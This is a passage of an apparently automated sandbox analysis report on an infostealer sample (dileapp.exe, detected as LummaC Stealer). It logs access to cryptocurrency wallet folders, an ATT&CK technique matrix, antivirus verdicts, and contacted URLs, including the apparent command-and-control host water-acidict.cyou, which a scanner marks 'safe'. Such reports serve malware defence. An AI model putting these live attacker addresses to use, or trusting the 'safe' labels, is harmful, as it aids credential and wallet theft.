Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\Public\Netstat\dileapp.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\Public\Netstat\dileapp.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior

Source: Yara match	File source: 0000000C.00000003.1952649413.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.1982904201.0000000000F67000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2008902691.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.1983969551.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1926780706.0000000001B11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2033433013.0000000000F59000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.1983497240.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2058427523.0000000000F59000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1900851363.0000000001B32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2063694200.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2033655753.0000000000F5C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1980367222.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2064442018.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.1982875210.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1982622436.0000000001B28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1954874686.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2034685044.0000000000F5C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.1984430461.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2058810259.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dileapp.exe PID: 7568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dileapp.exe PID: 5448, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: dileapp.exe PID: 7984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dileapp.exe PID: 7568, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dileapp.exe PID: 5448, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	13 Command and Scripting Interpreter	1 DLL Side-Loading	12 Process Injection	3 Obfuscated Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	13 Software Packing	Security Account Manager	246 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	771 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Modify Registry	Cached Domain Credentials	34 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	34 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	29%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\Netstat\dileapp.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\Public\Netstat\dileapp.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://water-acidict.cyou/apiZ	0%	Avira URL Cloud	safe
https://water-acidict.cyou/api	0%	Avira URL Cloud	safe
https://water-acidict.cyou/P	0%	Avira URL Cloud	safe
https://water-acidict.cyou/Z	0%	Avira URL Cloud	safe
http://crl.microsoftu	0%	Avira URL Cloud	safe
https://water-acidict.cyou/apiS	0%	Avira URL Cloud	safe
https://water-acidict.cyou:443/api.	0%	Avira URL Cloud	safe
https://water-acidict.cyou/apiC	0%	Avira URL Cloud	safe
https://water-acidict.cyou/#	0%	Avira URL Cloud	safe
https://water-acidict.cyou:443/apiK	0%	Avira URL Cloud	safe
https://water-acidict.cyou:443/api.default-release/key4.dbPK	0%	Avira URL Cloud	safe
https://iplogger.co/favicon.ico	0%	Avira URL Cloud	safe
https://iplogger.co/1tJFB41tJFB4	0%	Avira URL Cloud	safe
https://water-acidict.cyou/r	0%	Avira URL Cloud	safe
https://water-acidict.cyou:443/apitPK	0%	Avira URL Cloud	safe
https://water-acidict.cyou/apiq	0%	Avira URL Cloud	safe
https://water-acidict.cyou:443/apil	0%	Avira URL Cloud	safe
https://water-acidict.cyou/x	0%	Avira URL Cloud	safe
https://water-acidict.cyou/b	0%	Avira URL Cloud	safe
https://water-acidict.cyou/apicu	0%	Avira URL Cloud	safe
https://water-acidict.cyou/apie	0%	Avira URL Cloud	safe
https://water-acidict.cyou/apih	0%	Avira URL Cloud	safe
https://water-acidict.cyou:443/api_	0%	Avira URL Cloud	safe
https://water-acidict.cyou:443/api	0%	Avira URL Cloud	safe
https://water-acidict.cyou/apixd	0%	Avira URL Cloud	safe
https://support.micro	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/obgoOY	0%	Avira URL Cloud	safe
https://iplogger.co/https://iplogger.co/1tJFB4iplogger.co/1tJFB4	0%	Avira URL Cloud	safe
https://water-acidict.cyou/	0%	Avira URL Cloud	safe
https://water-acidict.cyou/apia	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
water-acidict.cyou	172.67.156.217	true	true	unknown
www.google.com	142.250.181.100	true	false	high
iplogger.co	172.67.167.249	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://water-acidict.cyou/api	true	Avira URL Cloud: safe	unknown
https://iplogger.co/1tJFB4	false		unknown
https://iplogger.co/favicon.ico	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	dileapp.exe, 00000009.00000003.1811892713.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1811747745.000000000585E000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901185611.000000000605C000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901451564.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983324065.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983533384.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	dileapp.exe, 00000009.00000003.1811892713.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1811747745.000000000585E000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901185611.000000000605C000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901451564.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983324065.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983533384.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://water-acidict.cyou/P	dileapp.exe, 0000000C.00000003.2050815274.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000002.2052375189.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou/apiZ	dileapp.exe, 0000000F.00000003.2058427523.0000000000F59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou/Z	dileapp.exe, 00000009.00000003.1912600429.0000000000A0D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsoft	dileapp.exe, 0000000C.00000002.2052375189.0000000001B09000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132165164.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132397400.0000000000F45000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000002.2133194684.0000000000F48000.00000004.00000020.00020000.00000000.sdmp	false		high
https://water-acidict.cyou/apiS	dileapp.exe, 0000000F.00000003.2058427523.0000000000F59000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2058810259.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	dileapp.exe, 00000009.00000003.1862666333.0000000005823000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1954995924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2058427523.0000000000F59000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoftu	dileapp.exe, 0000000C.00000003.2050815274.0000000001B06000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1926780706.0000000001AF8000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1954874686.0000000001AFA000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1952649413.0000000001AF8000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.2050545971.0000000001AFA000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1980367222.0000000001AF8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	dileapp.exe, 00000009.00000003.1811892713.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1811747745.000000000585E000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901185611.000000000605C000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901451564.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983324065.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983533384.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	dileapp.exe, 00000009.00000003.1812600714.0000000005864000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1812680278.0000000005806000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901988721.0000000006062000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1902203136.0000000006006000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1984503676.0000000005C16000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1984241620.0000000005C70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://water-acidict.cyou/apiC	dileapp.exe, 00000009.00000002.1969913350.000000000098F000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1969012358.000000000098F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou:443/api.	dileapp.exe, 00000009.00000003.1969012358.0000000000978000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000002.1969913350.0000000000978000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	dileapp.exe, 0000000F.00000003.2058427523.0000000000F59000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	dileapp.exe, 00000009.00000003.1861142631.0000000005845000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1953167971.0000000006045000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2033695442.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	dileapp.exe, 00000009.00000003.1861142631.0000000005845000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1953167971.0000000006045000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2033695442.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	dileapp.exe, 00000009.00000003.1812680278.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1902203136.0000000005FE2000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1984503676.0000000005BF2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	dileapp.exe, 00000009.00000003.1811892713.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1811747745.000000000585E000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901185611.000000000605C000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901451564.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983324065.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983533384.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://water-acidict.cyou/#	dileapp.exe, 0000000F.00000003.2124178934.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2124130973.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	dileapp.exe, 0000000F.00000003.2034733390.0000000005D1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	dileapp.exe, 00000009.00000003.1862666333.0000000005823000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1954995924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132165164.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000002.2133194684.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	dileapp.exe, 00000009.00000003.1862666333.0000000005823000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1954995924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2058427523.0000000000F59000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	dileapp.exe, 00000009.00000003.1811892713.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1811747745.000000000585E000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901185611.000000000605C000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901451564.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983324065.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983533384.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://water-acidict.cyou:443/apiK	dileapp.exe, 0000000C.00000003.2050545971.0000000001A98000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000002.2052375189.0000000001A98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	dileapp.exe, 00000009.00000003.1811892713.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1811747745.000000000585E000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901185611.000000000605C000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901451564.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983324065.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983533384.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	dileapp.exe, 00000009.00000003.1861142631.0000000005845000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1953167971.0000000006045000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2033695442.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	dileapp.exe, 00000009.00000003.1862666333.0000000005823000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1954995924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132165164.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000002.2133194684.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	dileapp.exe, 00000009.00000003.1861142631.0000000005845000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1953167971.0000000006045000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2033695442.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	dileapp.exe, 00000009.00000003.1812600714.0000000005864000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1812680278.0000000005806000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901988721.0000000006062000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1902203136.0000000006006000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1984503676.0000000005C16000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1984241620.0000000005C70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	dileapp.exe, 00000009.00000003.1811892713.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1811747745.000000000585E000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901185611.000000000605C000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901451564.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983324065.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983533384.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	dileapp.exe, 0000000F.00000003.2034733390.0000000005D1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	dileapp.exe, 00000009.00000003.1811892713.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1811747745.000000000585E000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901185611.000000000605C000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901451564.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983324065.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983533384.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://water-acidict.cyou/r	dileapp.exe, 00000009.00000002.1970339338.0000000000A0D000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1968959051.0000000000A0D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou:443/api.default-release/key4.dbPK	dileapp.exe, 0000000C.00000003.2050545971.0000000001A98000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000002.2052375189.0000000001A98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou/p	dileapp.exe, 0000000C.00000003.1926780706.0000000001B11000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.micro	dileapp.exe, 00000005.00000003.1740124665.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://water-acidict.cyou/apiz	dileapp.exe, 0000000F.00000003.2089184015.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2103253174.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000002.2133309995.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2124156785.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132117784.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2089255852.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132494268.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	dileapp.exe, 00000009.00000003.1862666333.0000000005823000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1954995924.000000000601B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://water-acidict.cyou/z	dileapp.exe, 00000005.00000002.1749293398.00000000015C2000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000005.00000003.1740124665.00000000015C2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://water-acidict.cyou:443/apil	dileapp.exe, 00000009.00000003.1969012358.0000000000978000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000002.1969913350.0000000000978000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.co/1tJFB41tJFB4	dileapp.exe, 00000009.00000003.1812680278.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1902203136.0000000005FE2000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1984503676.0000000005BF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	dileapp.exe, 00000009.00000003.1861142631.0000000005845000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1953167971.0000000006045000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2033695442.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://water-acidict.cyou/apiq	dileapp.exe, 00000009.00000003.1888558428.0000000000A06000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou/x	dileapp.exe, 0000000C.00000003.1952649413.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1954874686.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou:443/apitPK	dileapp.exe, 0000000F.00000002.2133021309.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132165164.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou/b	dileapp.exe, 00000005.00000002.1749293398.00000000015C2000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000005.00000003.1740124665.00000000015C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou/apicu	dileapp.exe, 00000009.00000002.1970314600.00000000009FA000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1969357381.00000000009F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
